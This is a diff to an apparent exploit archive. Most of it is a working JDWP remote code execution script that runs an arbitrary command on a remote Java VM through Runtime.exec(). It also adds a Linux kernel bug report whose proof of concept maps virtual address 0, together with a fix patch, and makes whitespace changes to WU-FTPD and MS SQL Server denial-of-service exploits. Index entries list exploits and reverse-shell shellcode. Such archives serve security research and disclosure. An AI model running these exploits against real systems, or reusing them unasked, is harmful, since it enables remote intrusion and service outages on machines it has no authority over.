self.read_reply() + return buf + + def parse_event_breakpoint(self, buf, eventId): + num = struct.unpack(">I", buf[2:6])[0] + rId = struct.unpack(">I", buf[6:10])[0] + if rId != eventId: + return None + tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize]) + loc = -1 # don't care + return rId, tId, loc + + + +def runtime_exec(jdwp, args): + print ("[+] Targeting '%s:%d'" % (args.target, args.port)) + print ("[+] Reading settings for '%s'" % jdwp.version) + + # 1. get Runtime class reference + runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") + if runtimeClass is None: + print ("[-] Cannot find class Runtime") + return False + print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) + + # 2. get getRuntime() meth reference + jdwp.get_methods(runtimeClass["refTypeId"]) + getRuntimeMeth = jdwp.get_method_by_name("getRuntime") + if getRuntimeMeth is None: + print ("[-] Cannot find method Runtime.getRuntime()") + return False + print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) + + # 3. setup breakpoint on frequently called method + c = jdwp.get_class_by_name( args.break_on_class ) + if c is None: + print("[-] Could not access class '%s'" % args.break_on_class) + print("[-] It is possible that this class is not used by application") + print("[-] Test with another one with option `--break-on`") + return False + + jdwp.get_methods( c["refTypeId"] ) + m = jdwp.get_method_by_name( args.break_on_method ) + if m is None: + print("[-] Could not access method '%s'" % args.break_on) + return False + + loc = chr( TYPE_CLASS ) + loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] ) + loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] ) + loc+= struct.pack(">II", 0, 0) + data = [ (MODKIND_LOCATIONONLY, loc), ] + rId = jdwp.send_event( EVENT_BREAKPOINT, *data ) + print ("[+] Created break event id=%x" % rId) + + # 4. resume vm and wait for event + jdwp.resumevm() + + print ("[+] Waiting for an event on '%s'" % args.break_on) + while True: + buf = jdwp.wait_for_event() + ret = jdwp.parse_event_breakpoint(buf, rId) + if ret is not None: + break + + rId, tId, loc = ret + print ("[+] Received matching event from thread %#x" % tId) + + jdwp.clear_event(EVENT_BREAKPOINT, rId) + + # 5. Now we can execute any code + if args.cmd: + runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd) + else: + # by default, only prints out few system properties + runtime_exec_info(jdwp, tId) + + jdwp.resumevm() + + print ("[!] Command successfully executed") + + return True + + +def runtime_exec_info(jdwp, threadId): + # + # This function calls java.lang.System.getProperties() and + # displays OS properties (non-intrusive) + # + properties = {"java.version": "Java Runtime Environment version", + "java.vendor": "Java Runtime Environment vendor", + "java.vendor.url": "Java vendor URL", + "java.home": "Java installation directory", + "java.vm.specification.version": "Java Virtual Machine specification version", + "java.vm.specification.vendor": "Java Virtual Machine specification vendor", + "java.vm.specification.name": "Java Virtual Machine specification name", + "java.vm.version": "Java Virtual Machine implementation version", + "java.vm.vendor": "Java Virtual Machine implementation vendor", + "java.vm.name": "Java Virtual Machine implementation name", + "java.specification.version": "Java Runtime Environment specification version", + "java.specification.vendor": "Java Runtime Environment specification vendor", + "java.specification.name": "Java Runtime Environment specification name", + "java.class.version": "Java class format version number", + "java.class.path": "Java class path", + "java.library.path": "List of paths to search when loading libraries", + "java.io.tmpdir": "Default temp file path", + "java.compiler": "Name of JIT compiler to use", + "java.ext.dirs": "Path of extension directory or directories", + "os.name": "Operating system name", + "os.arch": "Operating system architecture", + "os.version": "Operating system version", + "file.separator": "File separator", + "path.separator": "Path separator", + "user.name": "User's account name", + "user.home": "User's home directory", + "user.dir": "User's current working directory" + } + + systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + if systemClass is None: + print ("[-] Cannot find class java.lang.System") + return False + + jdwp.get_methods(systemClass["refTypeId"]) + getPropertyMeth = jdwp.get_method_by_name("getProperty") + if getPropertyMeth is None: + print ("[-] Cannot find method System.getProperty()") + return False + + for propStr, propDesc in properties.iteritems(): + propObjIds = jdwp.createstring(propStr) + if len(propObjIds) == 0: + print ("[-] Failed to allocate command") + return False + propObjId = propObjIds[0]["objId"] + + data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propObjId), ] + buf = jdwp.invokestatic(systemClass["refTypeId"], + threadId, + getPropertyMeth["methodId"], + *data) + if buf[0] != chr(TAG_STRING): + print ("[-] %s: Unexpected returned type: expecting String" % propStr) + else: + retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId)) + print ("[+] Found %s '%s'" % (propDesc, res)) + + return True + + +def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command): + # + # This function will invoke command as a payload, which will be running + # with JVM privilege on host (intrusive). + # + print ("[+] Selected payload '%s'" % command) + + # 1. allocating string containing our command to exec() + cmdObjIds = jdwp.createstring( command ) + if len(cmdObjIds) == 0: + print ("[-] Failed to allocate command") + return False + cmdObjId = cmdObjIds[0]["objId"] + print ("[+] Command string object created id:%x" % cmdObjId) + + # 2. use context to get Runtime object + buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) + if buf[0] != chr(TAG_OBJECT): + print ("[-] Unexpected returned type: expecting Object") + return False + rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + + if rt is None: + print "[-] Failed to invoke Runtime.getRuntime()" + return False + print ("[+] Runtime.getRuntime() returned context id:%#x" % rt) + + # 3. find exec() method + execMeth = jdwp.get_method_by_name("exec") + if execMeth is None: + print ("[-] Cannot find method Runtime.exec()") + return False + print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) + + # 4. call exec() in this context with the alloc-ed string + data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] + buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) + if buf[0] != chr(TAG_OBJECT): + print ("[-] Unexpected returned type: expecting Object") + return False + + retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + print ("[+] Runtime.exec() successful, retId=%x" % retId) + + return True + + +def str2fqclass(s): + i = s.rfind('.') + if i == -1: + print("Cannot parse path") + sys.exit(1) + + method = s[i:][1:] + classname = 'L' + s[:i].replace('.', '/') + ';' + return classname, method + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", + formatter_class=argparse.ArgumentDefaultsHelpFormatter ) + + parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) + parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") + + parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", + default="java.net.ServerSocket.accept", help="Specify full path to method to break on") + parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", + help="Specify command to execute remotely") + + args = parser.parse_args() + + classname, meth = str2fqclass(args.break_on) + setattr(args, "break_on_class", classname) + setattr(args, "break_on_method", meth) + + retcode = 0 + + try: + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + print ("[-] Exploit failed") + retcode = 1 + + except KeyboardInterrupt: + print ("[+] Exiting on user's request") + + except Exception as e: + print ("[-] Exception: %s" % e) + retcode = 1 + cli = None + + finally: + if cli: + cli.leave() + + sys.exit(retcode) \ No newline at end of file diff --git a/exploits/linux/dos/115.c b/exploits/linux/dos/115.c index d0c947784..30c44cff7 100644 --- a/exploits/linux/dos/115.c +++ b/exploits/linux/dos/115.c @@ -1,13 +1,13 @@ /* -* (c) Rosiello Security +* (c) Rosiello Security * * Copyright Rosiello Security 2003 -* All Rights reserved. +* All Rights reserved. * * Tested on Red Hat 9.0 * * Author: Angelo Rosiello -* Mail : angelo rosiello org +* Mail : angelo rosiello org * This software is only for educational purpose. * Do not use it against machines different from yours. * Respect law. @@ -29,9 +29,9 @@ int main( int argc, char **argv ) char user[30], password[30], ch; struct sockaddr_in server_addr; - fprintf( stdout, "\n(c) Rosiello Security 2003\n" ); - fprintf( stdout, "http://www.rosiello.org\n" ); - fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" ); + fprintf( stdout, "\n(c) Rosiello Security 2003\n" ); + fprintf( stdout, "http://www.rosiello.org\n" ); + fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" ); if( argc != 6 ) usage( argv[0] ); @@ -47,7 +47,7 @@ int main( int argc, char **argv ) addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] )); sd = socket( AF_INET, SOCK_STREAM, 0 ); - error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr )); + error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr )); if( error != 0 ) { perror( "Something wrong with the connection" ); @@ -55,10 +55,10 @@ int main( int argc, char **argv ) } while ( ch != '\n' ) - { - recv( sd, &ch, 1, 0); - printf("%c", ch ); - } + { + recv( sd, &ch, 1, 0); + printf("%c", ch ); + } ch = '\0'; @@ -76,12 +76,12 @@ int main( int argc, char **argv ) ch = '\0'; - send( sd, password, strlen( password ), 0 ); - while ( ch != '\n' ) - { - recv( sd, &ch, 1, 0); - printf("%c", ch ); - } + send( sd, password, strlen( password ), 0 ); + while ( ch != '\n' ) + { + recv( sd, &ch, 1, 0); + printf("%c", ch ); + } printf( "Sending the DoS query\n" ); for( i=0; i sin_family = AF_INET; - address -> sin_port = htons((u_short)port); - address -> sin_addr.s_addr = IPaddr; + address -> sin_family = AF_INET; + address -> sin_port = htons((u_short)port); + address -> sin_addr.s_addr = IPaddr; } void usage( char *program ) { fprintf(stdout, "USAGE: <%s> \n", program); - exit(0); + exit(0); } diff --git a/exploits/linux/dos/46502.txt b/exploits/linux/dos/46502.txt new file mode 100644 index 000000000..faf65b205 --- /dev/null +++ b/exploits/linux/dos/46502.txt @@ -0,0 +1,112 @@ +By following the codepath that Andrea Arcangeli pointed out in his mails +regarding the last bug I reported, I noticed that it is possible for userspace +on a normal distro to map virtual address 0, which on an X86 system without SMAP +enables the exploitation of kernel NULL pointer dereferences. + +The problem is in the following code path: + +mem_write -> mem_rw -> access_remote_vm -> __access_remote_vm +-> get_user_pages_remote -> __get_user_pages_locked -> __get_user_pages +-> find_extend_vma + +Then, if the VMA in question has the VM_GROWSDOWN flag set: +expand_stack -> expand_downwards -> security_mmap_addr -> cap_mmap_addr + +This, if the address is below dac_mmap_min_addr, does a capability check: + + ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO, + SECURITY_CAP_AUDIT); + +But this check is performed against current_cred(), which are the creds of the +task doing the write(), not the creds of the task whose VMA is being changed. + + +To reproduce: + +=============================================================== +user@deb10:~/stackexpand$ cat nullmap.c +#include +#include +#include +#include +#include +#include + +int main(void) { + void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE, + MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0); + if (map == MAP_FAILED) err(1, "mmap"); + int fd = open("/proc/self/mem", O_RDWR); + if (fd == -1) err(1, "open"); + unsigned long addr = (unsigned long)map; + while (addr != 0) { + addr -= 0x1000; + if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek"); + char cmd[1000]; + sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd); + system(cmd); + } + system("head -n1 /proc/$PPID/maps"); + printf("data at NULL: 0x%lx\n", *(unsigned long *)0); +} +user@deb10:~/stackexpand$ gcc -o nullmap nullmap.c && ./nullmap +00000000-00011000 rw-p 00000000 00:00 0 +data at NULL: 0x706f2064696c6156 +user@deb10:~/stackexpand$ +=============================================================== + + +I would like it if we could just get rid of the "you can map NULL if you're +root" thing, but we probably don't want to unconditionally do that as a +backported fix. +Is there any chance that someone is legitimately using a stack that grows down +and is located in the restricted address space range? Does DOSEMU rely on stack +expansion? If not, maybe we could just change expand_downwards() to always +reject expansion below dac_mmap_min_addr no matter who you are? +A quick grep for "GROWSDOWN" in the DOSEMU sources has no results... + +So, how about this patch? (Copy attached with proper indent.) + +=============================================================== +From a237de4f41ccddf9c31935c68af4589735c8348d Mon Sep 17 00:00:00 2001 +From: Jann Horn +Date: Wed, 27 Feb 2019 21:29:52 +0100 +Subject: [PATCH] mm: enforce min addr even if capable() in expand_downwards() + +security_mmap_addr() does a capability check with current_cred(), but we +can reach this code from contexts like a VFS write handler where +current_cred() must not be used. + +This can be abused on systems without SMAP to make NULL pointer +dereferences exploitable again. + +Fixes: 8869477a49c3 ("security: protect from stack expantion into low vm addresses") +Cc: stable@kernel.org +Signed-off-by: Jann Horn +--- + mm/mmap.c | 7 +++---- + 1 file changed, 3 insertions(+), 4 deletions(-) + +diff --git a/mm/mmap.c b/mm/mmap.c +index f901065c4c64..fc1809b1bed6 100644 +--- a/mm/mmap.c ++++ b/mm/mmap.c +@@ -2426,12 +2426,11 @@ int expand_downwards(struct vm_area_struct *vma, + { + struct mm_struct *mm = vma->vm_mm; + struct vm_area_struct *prev; +- int error; ++ int error = 0; + + address &= PAGE_MASK; +- error = security_mmap_addr(address); +- if (error) +- return error; ++ if (address < mmap_min_addr) ++ return -EPERM; + + /* Enforce stack_guard_gap */ + prev = vma->vm_prev; +-- +2.21.0.rc2.261.ga7da99ff1b-goog +=============================================================== \ No newline at end of file diff --git a/exploits/windows/dos/65.c b/exploits/windows/dos/65.c index 1cc024f72..0e03fcdb3 100644 --- a/exploits/windows/dos/65.c +++ b/exploits/windows/dos/65.c @@ -1,8 +1,8 @@ //////////////////////////////////////////////////////////////// -// -// Microsoft SQL Server DoS Remote Exploit (MS03-031) -// By refdom of xfocus -// +// +// Microsoft SQL Server DoS Remote Exploit (MS03-031) +// By refdom of xfocus +// //////////////////////////////////////////////////////////////// #include @@ -43,7 +43,7 @@ int main(int argc, char* argv[]) if (argc != 3) goto Exit0; - + if (strlen(argv[1]) < 20) { sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]); @@ -68,10 +68,10 @@ int main(int argc, char* argv[]) *lpBuffer = '\x12'; *(lpBuffer + 1) = '\x01'; *(lpBuffer + 2) = '\x00'; - + printf("Connecting Server...\n"); - hPipe = CreateFile(lpPipeName, + hPipe = CreateFile(lpPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, @@ -84,17 +84,17 @@ int main(int argc, char* argv[]) goto Exit0; } - dwMode = PIPE_READMODE_MESSAGE; - bResult = SetNamedPipeHandleState( - hPipe, // pipe handle - &dwMode, // new pipe mode - NULL, // don't set maximum bytes - NULL); // don't set maximum time - if (!bResult) - { + dwMode = PIPE_READMODE_MESSAGE; + bResult = SetNamedPipeHandleState( + hPipe, // pipe handle + &dwMode, // new pipe mode + NULL, // don't set maximum bytes + NULL); // don't set maximum time + if (!bResult) + { printf("Error!SetNamedPipeHandleState.%d\n", GetLastError()); goto Exit0; - } + } bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL); @@ -106,7 +106,7 @@ int main(int argc, char* argv[]) } Exit0: - + return 0; } diff --git a/files_exploits.csv b/files_exploits.csv index 3f408e0b0..2f1d14493 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6349,6 +6349,9 @@ id,file,description,date,author,type,platform,port 46476,exploits/multiple/dos/46476.txt,"tcpdump < 4.9.3 - Multiple Heap-Based Out-of-Bounds Reads",2019-03-01,"Google Security Research",dos,multiple, 46477,exploits/linux/dos/46477.txt,"Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read and Write in SNMP NAT Module",2019-03-01,"Google Security Research",dos,linux, 46478,exploits/macos/dos/46478.txt,"macOS XNU - Copy-on-Write Behavior Bypass via Mount of User-Owned Filesystem Image",2019-03-01,"Google Security Research",dos,macos, +46502,exploits/linux/dos/46502.txt,"Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem",2019-03-06,"Google Security Research",dos,linux, +46503,exploits/android/dos/46503.txt,"Android - binder Use-After-Free via racy Initialization of ->allow_user_free",2019-03-06,"Google Security Research",dos,android, +46504,exploits/android/dos/46504.txt,"Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass",2019-03-06,"Google Security Research",dos,android, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -17229,6 +17232,7 @@ id,file,description,date,author,type,platform,port 46436,exploits/hardware/remote/46436.rb,"Belkin Wemo UPnP - Remote Code Execution (Metasploit)",2019-02-20,Metasploit,remote,hardware, 46444,exploits/hardware/remote/46444.txt,"MikroTik RouterOS < 6.43.12 (stable) / < 6.42.12 (long-term) - Firewall and NAT Bypass",2019-02-21,"Jacob Baines",remote,hardware, 46449,exploits/windows/remote/46449.rb,"Nuuo Central Management - Authenticated SQL Server SQL Injection (Metasploit)",2019-02-22,Metasploit,remote,windows,5180 +46501,exploits/java/remote/46501.py,"Java Debug Wire Protocol (JDWP) - Remote Code Execution",2016-12-20,IOactive,remote,java, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, diff --git a/files_shellcodes.csv b/files_shellcodes.csv index 5f3914146..68a1d70b2 100644 --- a/files_shellcodes.csv +++ b/files_shellcodes.csv @@ -948,4 +948,4 @@ id,file,description,date,author,type,platform 46395,shellcodes/macos/46395.c,"macOS - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (103 bytes)",2019-02-18,"Ken Kitahara",shellcode,macos 46396,shellcodes/macos/46396.c,"macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes)",2019-02-18,"Ken Kitahara",shellcode,macos 46397,shellcodes/macos/46397.c,"macOS - execve(/bin/sh) + Null-Free Shellcode (31 bytes)",2019-02-18,"Ken Kitahara",shellcode,macos -46499,shellcodes/linux_x86/46499.c,"Linux/x86 - XOR Encoder / Decoder execve() /bin/sh Shellcode (45 bytes)",2019-03-05,"Daniele Votta",shellcode,linux_x86 +46499,shellcodes/linux_x86/46499.c,"Linux/x86 - XOR Encoder / Decoder execve(/bin/sh) Shellcode (45 bytes)",2019-03-05,"Daniele Votta",shellcode,linux_x86